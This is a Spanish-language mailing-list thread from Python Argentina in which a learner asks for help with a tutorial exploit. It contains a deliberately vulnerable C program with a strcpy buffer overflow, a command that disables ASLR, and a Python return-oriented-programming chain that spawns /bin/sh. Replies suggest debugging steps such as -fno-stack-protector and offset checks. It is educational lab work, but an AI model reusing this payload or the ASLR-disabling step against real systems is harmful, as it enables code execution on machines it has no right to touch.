[pyar] ¿Hay alguna forma de forzar a python para que funcione en 32 bits?

Alberto Perez ksian1685 en gmail.com
Mie Ago 19 08:39:05 ART 2015


Falcon,

1-Me tira un mensaje de violación de segmento.

2-Lo complilé con -fno-stack-protector

3-casualmente también me dio 262 bytes.

Sé que no es un tema específico de la lista, así que gracias por el
internes.


El 18 de agosto de 2015, 19:52, Francisco Falcon <fdfalcon en gmail.com>
escribió:

> Hola,
>
> La versión de Python de 64 bits no debería influir en este caso, lo más
> probable es que el problema venga por otro lado.
>
> Algunas preguntas para tratar de aislar el problema:
>  * Qué significa exactamente que "el exploit no funciona"? El programa
> vulnerable crashea sin darte la shell? Lo debuggeaste con gdb para ver
> dónde crashea?
>  * Compilaste el programa vulnerable con -fno-stack-protector?
>  * Iba a preguntar si acomodaste las direcciones de los ROP gadgets para
> tu binario en particular, pero parece que sí lo hiciste.
>  * Te fijaste que, en tu binario en particular, el stack frame de la
> función saluda() también tenga 262 bytes de distancia entre el array
> nombre[] y la dirección de retorno guardada en el stack?
>
> Saludos
>
> 2015-08-17 22:45 GMT-03:00 Alberto Perez <ksian1685 en gmail.com>:
>
>> Gracias por contestar. De todos modos, el autor del blog donde estaban
>> als instrucciones me aclaró que posiblemente en 64 bits existan otros tipo
>> de problemas. Así que lo probaré más adelante en una maquina virtual
>>
>> El 17 de agosto de 2015, 15:19, Joaquin Duo <joaduo en gmail.com> escribió:
>>
>>> En linux podés instalar un entorno de 32 bits (dentro de un OS de 64bits)
>>>
>>>
>>> http://askubuntu.com/questions/297151/how-to-run-32-bit-programs-on-a-64-bit-system
>>>
>>> En este caso creo que deberías poder instalar el paquete de python de 32
>>> bits y correr ese python.
>>> Te respondo la generalidad porque no lo he hecho, pero obviamente se
>>> puede (porque cualquier programa de 32bits puede correr, por ejemplo el
>>> skype)
>>>
>>> Vas a tener que buscar en internet cómo instalar paquetes de 32bits,
>>> seguro que sale
>>>
>>> Saludos!
>>> Joaquín
>>>
>>>
>>> 2015-08-16 21:22 GMT-03:00 Alberto Perez <ksian1685 en gmail.com>:
>>>
>>>> No estoy seguro que tenga que ver con python, pero seguro ustedes sí.
>>>> Resulta que estaba siguiendo las instrucciones de un blogger: (
>>>> http://www.ellaberintodefalken.com/2013/08/ROP-Return-Oriented-Programming.html
>>>> )
>>>> 1-hice el código en c (que compilé agregando gcc -m32 porque lo estoy
>>>> ejecutando en una maquina de 32 bits):
>>>>
>>>> #include <stdio.h>
>>>> #include <string.h>
>>>>
>>>> void saluda (char * texto){
>>>>     char nombre[250];
>>>>     strcpy(nombre, texto);
>>>>     printf("hola %s\n", nombre);
>>>> }
>>>>
>>>> int main (int argc, char **argv){
>>>>     saluda(argv[1]);
>>>>     return 0;
>>>> }
>>>>
>>>> 2- modifiqué la configuracion de mi computadora:
>>>> echo "0" > /proc/sys/kernel/randomize_va_space
>>>>
>>>> 3-hice el exploit en python:
>>>>
>>>> from struct import pack
>>>>
>>>>
>>>> ex = 'A'*262
>>>> ex += pack('I',0x080e1db9) #pop %eax
>>>> ex += '/bin'
>>>> ex += pack('I',0x0806e39a) #pop %edx
>>>> ex += pack('I',0x080e99a0) #.data
>>>> ex += pack('I',0x08099fad) #mov %eax,(%edx)
>>>> ex += pack('I',0x080e1db9) #pop %eax
>>>> ex += '/sh#'
>>>> ex += pack('I',0x0806e39a) #pop %edx
>>>> ex += pack('I',0x080e99a4) #.data+4
>>>> ex += pack('I',0x08099fad) #mov %eax,(%edx)
>>>> ex += pack('I',0x0806e39a) #pop %edx
>>>> ex += pack('I',0x080e99a7) #.data+7
>>>> ex += pack('I',0x080b7c20) #xor %eax,%eax
>>>> ex += pack('I',0x08099fad) #mov %eax,(%edx)
>>>> ex += pack('I',0x0806e3c1) #pop %ecx; pop %ebx
>>>> ex += pack('I',0x080e99a7) #.data+7
>>>> ex += pack('I',0x080e99a0) #.data
>>>> ex += pack('I',0x0806e39a) #pop %edx
>>>> ex += pack('I',0x080e99a7) #.data+7
>>>> ex += pack('I',0x080b7c20) #xor %eax,%eax
>>>> for i in range(int("0xb",16)):
>>>>         ex += pack('I',0x0805c5fc) #inc %eax;pop %edi
>>>>         ex += '####'
>>>>
>>>> ex += pack('I',0x806ea30) #int 0x80
>>>>
>>>> print ex
>>>>
>>>> resulta que no funciona y se me ocurre que puede ser porque estoy
>>>> usando python de arquitectura de 64 bits. ¿Hay alguna forma de forzar a
>>>> python para que funcione en 32 bits?
>>>> gracias.
>>>>
>>>>
>>>>
>>>> _______________________________________________
>>>> pyar mailing list pyar en python.org.ar
>>>> http://listas.python.org.ar/listinfo/pyar
>>>>
>>>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>>>
>>>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
>>>> Argentina - http://www.usla.org.ar
>>>>
>>>
>>>
>>> _______________________________________________
>>> pyar mailing list pyar en python.org.ar
>>> http://listas.python.org.ar/listinfo/pyar
>>>
>>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>>
>>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
>>> Argentina - http://www.usla.org.ar
>>>
>>
>>
>> _______________________________________________
>> pyar mailing list pyar en python.org.ar
>> http://listas.python.org.ar/listinfo/pyar
>>
>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>
>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
>> Argentina - http://www.usla.org.ar
>>
>
>
> _______________________________________________
> pyar mailing list pyar en python.org.ar
> http://listas.python.org.ar/listinfo/pyar
>
> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>
> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
> Argentina - http://www.usla.org.ar
>
------------ próxima parte ------------
Se ha borrado un adjunto en formato HTML...
URL: <http://listas.python.org.ar/pipermail/pyar/attachments/20150819/2a95ae70/attachment-0001.html>


More information about the pyar mailing list